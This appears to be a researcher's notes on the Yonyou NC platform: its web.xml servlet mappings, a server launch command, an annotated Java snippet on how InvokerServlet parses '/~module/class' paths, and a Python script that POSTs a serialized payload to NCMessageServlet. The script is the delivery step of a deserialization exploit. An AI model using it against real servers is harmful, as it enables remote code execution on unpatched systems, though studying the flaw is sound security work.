<?xml version="1.0" encoding="UTF-8"?><!--<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">--><web-app xmlns="http://java.sun.com/xml/ns/j2ee"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"    version="2.4" id="WebApp">  <listener>    <listener-class>nc.bs.framework.server.WebApplicationStartupHook</listener-class>  </listener>  <filter>   <filter-name>LoggerFilter</filter-name>   <filter-class>nc.bs.framework.server.LoggerServletFilter</filter-class>  </filter>       <filter-mapping>   <filter-name>LoggerFilter</filter-name>   <url-pattern>/*</url-pattern>   <dispatcher>REQUEST</dispatcher>  </filter-mapping>        <servlet>    <servlet-name>CommonServletDispatcher</servlet-name>        <servlet-class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>    <init-param>      <param-name>service</param-name>      <param-value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>    </init-param>    <load-on-startup>10</load-on-startup>  </servlet>
  <servlet>    <servlet-name>ProvisionServlet</servlet-name>        <servlet-class>nc.bs.framework.provision.server.ProvisionServlet</servlet-class>    <load-on-startup>5</load-on-startup>  </servlet>    <servlet>    <servlet-name>NCInvokerServlet</servlet-name>    <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>  </servlet>    <servlet>   <servlet-name>NCFindWebServlet</servlet-name>    <servlet-class>nc.bs.framework.server.FindWebResourceServlet</servlet-class>  </servlet>  <servlet>   <servlet-name>ws-ncapplet</servlet-name>    <jsp-file>/jsp/wsncapplet.jsp</jsp-file>  </servlet>  
  

  <servlet>   <servlet-name>app-esc</servlet-name>    <servlet-class>uap.serverdes.appesc.AppEscServlet</servlet-class>  </servlet>    <servlet-mapping>    <servlet-name>app-esc</servlet-name>    <url-pattern>/app.esc</url-pattern>  </servlet-mapping>


  <servlet-mapping>    <servlet-name>ws-ncapplet</servlet-name>    <url-pattern>/ncws.jnlp</url-pattern>  </servlet-mapping>  <servlet-mapping>    <servlet-name>NCFindWebServlet</servlet-name>    <url-pattern>/NCFindWeb</url-pattern>  </servlet-mapping>    <servlet-mapping>    <servlet-name>CommonServletDispatcher</servlet-name>    <url-pattern>/ServiceDispatcherServlet/*</url-pattern>  </servlet-mapping>
  <servlet-mapping>    <servlet-name>ProvisionServlet</servlet-name>    <url-pattern>/provision</url-pattern>  </servlet-mapping>    <servlet-mapping>    <servlet-name>NCInvokerServlet</servlet-name>    <url-pattern>/service/*</url-pattern>  </servlet-mapping>    <servlet-mapping>    <servlet-name>NCInvokerServlet</servlet-name>    <url-pattern>/servlet/*</url-pattern>  </servlet-mapping>      <mime-mapping>        <extension>xls</extension>        <mime-type>application/vnd.ms-excel</mime-type>   </mime-mapping>    <welcome-file-list>    <welcome-file>default.jsp</welcome-file>    <welcome-file>index.html</welcome-file>    <welcome-file>index.htm</welcome-file>    <welcome-file>index.jsp</welcome-file>    <welcome-file>default.html</welcome-file>    <welcome-file>default.htm</welcome-file>    </welcome-file-list>    <security-constraint>       <web-resource-collection>      <web-resource-name>uapweb</web-resource-name>       <url-pattern>/*</url-pattern>       <http-method>PUT</http-method>       <http-method>DELETE</http-method>       <http-method>HEAD</http-method>       <http-method>OPTIONS</http-method>       <http-method>TRACE</http-method>     </web-resource-collection>     <auth-constraint>     </auth-constraint>   </security-constraint>   <login-config>     <auth-method>BASIC</auth-method>   </login-config>     <error-page>           <error-code>403</error-code>           <location>/error.jsp</location>     </error-page>  <error-page>           <error-code>404</error-code>           <location>/error.jsp</location>     </error-page>      <error-page>         <error-code>400</error-code>         <location>/error.jsp</location>     </error-page>     <error-page>         <error-code>500</error-code>         <location>/error.jsp</location>  </error-page>  <error-page>      <exception-type>java.lang.Exception</exception-type>      <location>/error.jsp</location>   </error-page>  </web-app>

C:yonyouhomeufjdkbinjava -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=C:yonyouhome/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=C:yonyouhome -Drun.side=server -Dnc.run.side=server -cp C:yonyouhomestarter.jar;C:yonyouhomeufjdklibtools.jar;C:yonyouhomeantlibant-launcher.jar;C:yonyouhomelibcnytiruces.jar nc.bs.mw.start.AloneBootstrap start

try {    if (pathInfo == null) {        throw new ServletException("Service name is not specified, pathInfo is null");    }  // 分删除字符串的头尾空白符    pathInfo = pathInfo.trim();    String moduleName = null;    String serviceName = null;    int beginIndex;    // startsWith检测是否以 "/~"字符开头    if (pathInfo.startsWith("/~")) {        // 如果是，则去除路径前面两个字符 "/~"，        moduleName = pathInfo.substring(2);        // 查找字符 "/" 第一次出现处的索引        beginIndex = moduleName.indexOf("/");        // 判断如果索引大于等于0，则截取掉/前面的字符，从而获取类名        if (beginIndex >= 0) {            serviceName = moduleName.substring(beginIndex);            // 如果第一次出现的字符“/”大于0，就可以获取到module名字            if (beginIndex > 0) {                moduleName = moduleName.substring(0, beginIndex);            } else {                moduleName = null;            }        } else {            moduleName = null;            serviceName = pathInfo;        }    } else {

import requests
proxy = {'http': 'http://127.0.0.1:8080'}
payloadobj = open("./tmp.ser", 'rb').read()host = "http://192.168.2.3/"
URL = host + "servlet/~baseapp/nc.message.bs.NCMessageServlet"res = requests.post(URL, data=payloadobj, proxies=proxy)print(URL)print(res.text)print(payloadobj)